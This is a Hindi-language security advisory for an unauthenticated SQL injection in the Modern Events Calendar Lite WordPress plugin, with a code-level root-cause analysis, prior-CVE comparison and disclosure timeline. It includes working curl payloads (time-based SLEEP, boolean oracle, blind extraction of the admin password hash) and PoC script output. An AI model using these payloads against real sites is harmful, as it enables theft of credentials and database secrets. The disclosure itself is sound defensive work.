
Modern Events Calendar Lite <= 7.33.0 — अनधिकृत SQL Injection
| विवरण | मान |
|---|
| प्लगइन | Modern Events Calendar Lite |
| स्लग | modern-events-calendar-lite |
| लेखक | Webnus |
| प्रभावित | <= 7.33.0 (वर्तमान विक्रेता-वितरित Lite रिलीज़)। बग संपूर्ण w.org श्रेणी में मौजूद है; प्रयोगशाला में 6.5.6 और 7.33.0 पर पुष्टि की गई, स्थैतिक रूप से 5.21.2 में पुष्टि की गई। 6.5.6 = अंतिम wordpress.org बिल्ड (2022-05-11 बंद होने पर जमे हुए); 7.33.0 = mec.webnus.net से वितरित वर्तमान बिल्ड |
| सक्रिय इंस्टॉल | wordpress.org की गणना बंद होने के बाद से छिपी हुई; ऐतिहासिक रूप से 100,000+। अभी भी सक्रिय रूप से वितरित/अद्यतन किया गया (विक्रेता द्वारा Lite mec.webnus.net के माध्यम से; वही 7.x कोडबेस सक्रिय रूप से बेचे जाने वाले MEC Pro का आधार है) |
| CWE | CWE-89 (SQL इंजेक्शन) |
| असुरक्षा | अनधिकृत अंध SQL इंजेक्शन (समय-आधारित / बूलियन / त्रुटि-आधारित) |
| आवश्यक विशेषाधिकार | कोई नहीं (wp_ajax_nopriv_* — प्रमाणीकरण-पूर्व) |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| CVSS v3.1 | 7.5 (उच्च) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N |
| स्थिति | 7.33.0 (वर्तमान) और 6.5.6 (WordPress 6.6.5, MariaDB 10.x) पर प्रयोगशाला-सत्यापित एंड-टू-एंड |
| CVE / GHSA | CVE-2026-11349 |
Modern Events Calendar Lite अपने ईवेंट-सूची स्किन (list, grid, masonry, agenda, timeline, tile,
custom) के लिए अनधिकृत admin-ajax.php "load more" क्रियाओं का एक परिवार पंजीकृत करता है। प्रत्येक हैंडलर हमलावर-नियंत्रित atts अनुरोध सरणी पढ़ता है, इसे sanitize_deep_array() नामक एक हेल्पर के माध्यम से पास करता है जो — जब अपने डिफ़ॉल्ट तर्कों के साथ कॉल किया जाता है, तो कोई सैनिटाइज़ेशन नहीं करता — और फिर atts['include'] (और atts['exclude']) मानों को कच्चा post_id IN (...) SQL खंड में संयोजित करता है जिसे $wpdb->get_results() के साथ और बिना $wpdb->prepare() के निष्पादित किया जाता है।
क्योंकि प्रवेश बिंदु wp_ajax_nopriv_* पर पंजीकृत हैं, कोई प्रमाणीकरण, खाता, नॉन्स या उपयोगकर्ता सहभागिता की आवश्यकता नहीं है। एक अनधिकृत दूरस्थ हमलावर wp_mec_dates के विरुद्ध SELECT के WHERE खंड में मनमाना SQL इंजेक्ट कर सकता है और अंध समय-आधारित / बूलियन / त्रुटि-आधारित तकनीकों के माध्यम से WordPress डेटाबेस में किसी भी डेटा (उपयोगकर्ता पासवर्ड हैश, wp_options रहस्य/कुंजियाँ, अन्य प्लगइन का डेटा) को पढ़ सकता है।
app/libraries/main.php:9607:
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
if(!is_array($inputs)) return $inputs;
$sanitized = array();
foreach($inputs as $key => $val)
{
$p = $path.$key.'.';
if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
or (is_array($excludes) and !count($excludes))) // line 9615
{
$sanitized[$key] = $val; // <-- RAW passthrough, कोई सैनिटाइज़ेशन नहीं
continue;
}
// ... (sanitize_text_field / (int) / esc_url / ... केवल तब पहुँचा जाता है जब $excludes गैर-रिक्त हो)
}
return $sanitized;
}
गार्ड (is_array($excludes) and !count($excludes)) फ़ंक्शन को पूर्ण नो-ऑप बनाता है जब
$excludes डिफ़ॉल्ट खाली सरणी है — प्रत्येक मान शब्दशः कॉपी किया जाता है। स्पष्ट रूप से इरादा था
"यदि कोई बहिष्करण-सूची है, तो उन कुंजियों को छोड़ें"; बूलियन तर्क इसके बजाय सब कुछ छोड़ देता है
जब कोई बहिष्करण-सूची प्रदान नहीं की जाती है।
$excludes प्रदान नहीं करताapp/skins/list.php:499-501 (load_more()):
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date); // line 501
sanitize_deep_array($_REQUEST['atts']) को एकल तर्क के साथ कॉल किया गया → $excludes
array() पर डिफ़ॉल्ट होता है → उपरोक्त नो-ऑप शाखा → $atts कच्चा, अविश्वसनीय $_REQUEST['atts'] है।
IN (...) खंड में कच्चा संयोजनapp/libraries/skins.php:
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
$where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";
// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
$where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";
सरणी तत्वों को सीधे SQL स्ट्रिंग में बिना किसी पूर्णांक कास्ट या एस्केपिंग के implode() किया जाता है। (प्रत्येक तत्व पर absint()/(int) इस समस्या को बंद कर सकता था।)
app/libraries/db.php:79:
public function select($query, $result = 'loadObjectList')
{
$query = $this->_prefix($query); // केवल `#__` को तालिका उपसर्ग से बदलता है
$database = $this->get_DBO();
if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K); // line 87 — कोई prepare() नहीं
// ...
}
पूरी तरह से निर्मित स्ट्रिंग को $wpdb->get_results() को शब्दशः सौंप दिया जाता है।
टेंट प्रवाह (अनुरोध → सिंक):
$_REQUEST['atts'] (हमलावर-नियंत्रित, अनधिकृत)
→ app/skins/list.php:501 sanitize_deep_array($atts) (NO-OP: डिफ़ॉल्ट खाली $excludes)
→ MEC_skin::initialize($atts) ($this->atts = कच्चे atts)
→ app/libraries/skins.php:606 "... post_id IN (".implode(',', $this->atts['include']).")"
→ app/libraries/db.php:87 $wpdb->get_results($query) (कोई prepare नहीं)
app/skins/list.php:51-52:
$this->factory->action('wp_ajax_mec_list_load_more', array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more')); // <-- अनधिकृत
nopriv पंजीकरण एंडपॉइंट को प्रमाणीकरण-पूर्व पहुँच योग्य बनाता है। वही load_more() आकार और साझा skins.php क्वेरी बिल्डर सहोदर स्किन में मौजूद है, प्रत्येक अपनी स्वयं की wp_ajax_nopriv_* क्रिया के साथ, इसलिए वही इंजेक्शन निम्नलिखित में से किसी के माध्यम से पहुँच योग्य है:
AJAX क्रिया (nopriv) | स्किन हैंडलर |
|---|---|
mec_list_load_more | app/skins/list.php:497 |
mec_grid_load_more | app/skins/grid.php:497 |
mec_masonry_load_more | app/skins/masonry.php:229 |
mec_agenda_load_more | app/skins/agenda.php:242 |
mec_timeline_load_more | app/skins/timeline.php:242 |
mec_tile_load_more | app/skins/tile.php:446 |
mec_custom_load_more | app/skins/custom.php:233 |
load_more() में कोई नॉन्स जाँच नहीं की जाती है, और कार्रवाई के लिए पेज पर किसी प्लगइन शॉर्टकोड की उपस्थिति की आवश्यकता नहीं है — AJAX हैंडलर init पर बिना शर्त पंजीकृत होते हैं।
सभी अनुरोध अनधिकृत हैं (कोई कुकी नहीं, कोई नॉन्स नहीं)। इंजेक्टेड मान atts[include][] में रखा गया है; पेलोड IN ((...) AND (... IN ( के दो खुले कोष्ठकों को बंद करता है और एक शीर्ष-स्तरीय OR <sleep> जोड़ता है ताकि स्कैन की गई प्रत्येक पंक्ति के लिए स्थिति का मूल्यांकन किया जाए, फिर अनुगामी )) ORDER BY ... को टिप्पणी करता है:
TARGET='https://victim.example' # सादे पर्मलिंक: सीधे admin-ajax.php का उपयोग करें
# 1) बेसलाइन (कोई इंजेक्शन नहीं)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0'
# → ~0.27s
# 2) समय-आधारित प्रमाण — संतुलित शीर्ष-स्तरीय OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
# → ~3.04s ← SLEEP(3) निष्पादित हुआ
# 3) बूलियन ओरेकल (सत्य बनाम असत्य)
# atts[include][]=0)) OR IF(1=1,SLEEP(3),0)# → ~3.06s (TRUE)
# atts[include][]=0)) OR IF(1=2,SLEEP(3),0)# → ~0.04s (FALSE)
# 4) वास्तविक डेटा निष्कर्षण (अंध), उदा. एडमिन पासवर्ड-हैश का पहला बाइट == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
--data-urlencode 'action=mec_list_load_more' \
--data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
# → ~3.04s ← TRUE: एडमिन हैश '$' (phpass) से शुरू होता है
निष्पादित सटीक क्वेरी (WP_DEBUG_LOG से कैप्चर की गई) एक त्रुटि-कैनरी
atts[include][]=0)MEC_SQLI_CANARY के लिए थी:
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC
— शाब्दिक टोकन MEC_SQLI_CANARY निष्पादित कथन में शब्दशः दिखाई देता है, कच्चे संयोजन की पुष्टि करता है। atts[exclude][] पैरामीटर (skins.php:803 / 603, NOT IN) समान रूप से इंजेक्ट करने योग्य है (प्रयोगशाला-पुष्टि: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s)। समान क्वेरी और इंजेक्शन को 7.33.0 (वर्तमान बिल्ड) पर पुन: प्रस्तुत किया गया — समान कैनरी, समान SLEEP व्यवहार।
mec-unauth-sqli-poc.py (शामिल) पूरी तरह से आत्म-निहित है और किसी क्रेडेंशियल की आवश्यकता नहीं है: यह इंजेक्शन की पुष्टि करता है (बेसलाइन बनाम SLEEP), फिर मनमाने डेटा का समय-आधारित अंध निष्कर्षण करता है (डिफ़ॉल्ट: @@version, DB उपयोगकर्ता, और पहले एडमिन का user_login:user_pass)। यह प्रत्येक प्रतिक्रिया (HTTP 200) को मान्य करता है और WAF/दर-सीमा (जैसे mod_evasive) से बचने के लिए --delay + बैक-ऑफ के साथ अनुरोधों को गति देता है। कोई डेटा संशोधित नहीं किया गया है (केवल-पढ़ने SELECT संदर्भ)।
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s sleep-case=3.04s threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...
अनधिकृत, नेटवर्क-पहुँच योग्य, डेटाबेस तक पूर्ण पढ़ने की पहुँच: wp_users पासवर्ड हैश, wp_options (auth_key, API रहस्य, टोकन), और कोई भी अन्य तालिका। व्यवहार में यह पूर्ण साइट अधिग्रहण (ऑफ़लाइन हैश क्रैकिंग, रहस्य/सत्र चोरी) में जुड़ता है। अखंडता प्रभाव सीमित है — इंजेक्शन $wpdb->get_results() के माध्यम से SELECT में निष्पादित होता है, जो स्टैक्ड क्वेरी की अनुमति नहीं देता है — इसलिए I:N। भारी SLEEP/BENCHMARK उपलब्धता को कम कर सकता है, लेकिन प्राथमिक, विश्वसनीय रूप से प्रदर्शित प्रभाव गोपनीयता (C:H) है, जो CVSS 7.5 देता है।
पंक्ति संख्याएँ 7.33.0 (वर्तमान) के लिए 6.5.6 (कोष्ठक में) के साथ दी गई हैं; कोड पूरी श्रेणी में समान है।
| फ़ाइल | पंक्ति (7.33.0 / 6.5.6) | समस्या |
|---|---|---|
app/libraries/main.php | 11726-11734 / 9607-9619 | sanitize_deep_array() एक नो-ऑप है जब $excludes डिफ़ॉल्ट खाली सरणी है ( !count($excludes) गार्ड) |
app/skins/list.php | 535 / 501 | $_REQUEST से atts पढ़ा गया और बिना $excludes के sanitize_deep_array() को पारित किया गया ( load_more() में, 532 / 497) |
app/skins/list.php | 53 / 52 | wp_ajax_nopriv_mec_list_load_more → अनधिकृत प्रवेश बिंदु |
app/libraries/skins.php | 806 / 603-606 | include / exclude सरणी को implode() करके कच्चा post_id IN (...) / NOT IN (...) में डाला गया (बहिष्करण 803 / 603 पर) |
app/libraries/db.php | 79-93 (87) | MEC_db::select() बिना prepare() के $wpdb->get_results() चलाता है |
सहोदर स्किन (grid, masonry, agenda, timeline, tile, custom) समान load_more() + skins.php क्वेरी बिल्डर साझा करती हैं और प्रत्येक एक wp_ajax_nopriv_* क्रिया पंजीकृत करती हैं → समान बग, एकाधिक प्रवेश बिंदु।
यह एक अलग, पहले से रिपोर्ट नहीं किया गया इंजेक्शन बिंदु है। प्रत्येक सार्वजनिक रूप से प्रलेखित MEC SQL इंजेक्शन एक अलग AJAX क्रिया और पैरामीटर को लक्षित करता है, और सभी को उन संस्करणों में पैच किया गया था जिनके बाद यह खोज हुई है (यह प्रयोगशाला में 7.33.0 में लाइव पुष्टि की गई है):
| संदर्भ | प्रमाणीकरण | AJAX क्रिया | पैरामीटर | निश्चित संस्करण |
|---|---|---|---|---|
| CVE-2021-24946 | अनधिकृत | mec_load_single_page | time | 6.1.5 |
| CVE-2021-4458 | अनधिकृत (केवल अगर addslashes/इनपुट-स्लैशिंग अक्षम है) | mec_load_single_page | id | 6.4.0 |
| CVE-2021-24149 | प्रमाणित (लेखक+/सब्सक्राइबर) | mec_fes_form | mec[post_id] | 5.16.6 |
| यह रिपोर्ट | अनधिकृत (कोई पूर्व शर्त नहीं) | mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more) | atts[include][] / atts[exclude][] | अपैच (≤ 7.33.0) |
mec_load_single_page में हैं; यह स्किन "load more" पेजिनेशन (load_more() → MEC_skin::initialize() → app/libraries/skins.php post_id IN (...) बिल्डर) में है, जो sanitize_deep_array() की नो-ऑप डिफ़ॉल्ट शाखा के माध्यम से पहुँचा गया है। mec_load_single_page पैच skins.php को नहीं छूते हैं।id) केवल PHP/WordPress इनपुट स्लैशिंग अक्षम (एक गैर-डिफ़ॉल्ट स्थिति) होने पर शोषण योग्य था क्योंकि वह मान एक कोटेड संदर्भ में बैठता है। यहाँ atts[include]/atts[exclude] मान एक अनकोटेड संख्यात्मक IN(...) संदर्भ में उतरते हैं और कोष्ठक + SQL कीवर्ड (0)) OR SLEEP(3)#) के साथ शोषित होते हैं, जिसे wp_magic_quotes() बेअसर नहीं करता है। इसलिए यह डिफ़ॉल्ट WordPress इंस्टॉल पर शोषण योग्य है — स्टॉक WP 7.0 (मैजिक कोट ऑन) पर प्रयोगशाला में पुष्टि की गई।mec_load_single_page पैच (6.4.0) के चार साल और एक प्रमुख संस्करण बाद।Modern Events Calendar Lite को 2022-05-11 को wordpress.org से हटा दिया गया ("Reason: Guideline Violation"), इसलिए wordpress.org बिल्ड 6.5.6 पर जमे हुए है। इसका मतलब यह नहीं है कि प्लगइन को छोड़ दिया गया है — Webnus ने प्लेटफ़ॉर्म से बाहर विकास जारी रखा: mec.webnus.net से वितरित वर्तमान Lite बिल्ड 7.33.0 है, और कमजोर कोड पथ वहाँ बाइट-दर-बाइट समान है (प्रयोगशाला-पुष्टि; SQLi 7.33.0 पर समान रूप से फायर करता है)। इसलिए बग डीलिस्टिंग के बाद की श्रेणी में हर रिलीज़ को प्रभावित करता है, न कि केवल जमे हुए wordpress.org प्रतिलिपि को।
रूटिंग निहितार्थ ("wordpress.org पर बंद" आपत्ति पहली नज़र में दिखने से कहीं अधिक कमज़ोर है):
app/libraries/skins.php, app/libraries/main.php, और app/libraries/db.php साझा कोर लाइब्रेरी हैं, इसलिए Pro लगभग निश्चित रूप से प्रभावित है। इसे औपचारिक रूप से कहने से पहले Pro स्रोत के विरुद्ध पुष्टि की जानी चाहिए, लेकिन साझा-लाइब्रेरी आर्किटेक्चर इसे बहुत संभावित बनाता है। एक पुष्टि की गई Pro प्रभाव खोज को Patchstack (एक सार्वजनिक रूप से बेचा जाने वाला घटक) के लिए स्पष्ट रूप से दायरे में लाता है और wordpress.org सूची स्थिति की परवाह किए बिना MITRE/Patchstack CVE के योग्य बनाता है।एक CVE गुण-दोष के आधार पर उचित है: एक वर्तमान, विक्रेता-वितरित उत्पाद में अनधिकृत, नेटवर्क-पहुँच योग्य, पूर्ण-DB-पढ़ने वाला SQL इंजेक्शन जिसका ऐतिहासिक इंस्टॉल बेस छह अंकों में है।
| तिथि | घटना |
|---|---|
| 2026-06-03 | स्वचालित प्लगइन समीक्षा के दौरान खोजा गया; MEC Lite 6.5.6 (wordpress.org-जमे हुए बिल्ड) पर एंड-टू-एंड (अनधिकृत) सत्यापित |
| 2026-06-04 | 7.33.0 (mec.webnus.net से वर्तमान विक्रेता-वितरित Lite) पर एंड-टू-एंड पुन: सत्यापित; कोड/इंजेक्शन समान पुष्टि — खोज वर्तमान है, डीलिस्टेड-संस्करण कलाकृति नहीं |
| 2026-06-04 | विक्रेता सूचना (Webnus) + WPScan CVE अनुरोध; पुष्टि करें कि MEC Pro पथ साझा करता है |
| 2026-06-05 | कमजोरी सत्यापित और CVE निर्दिष्ट |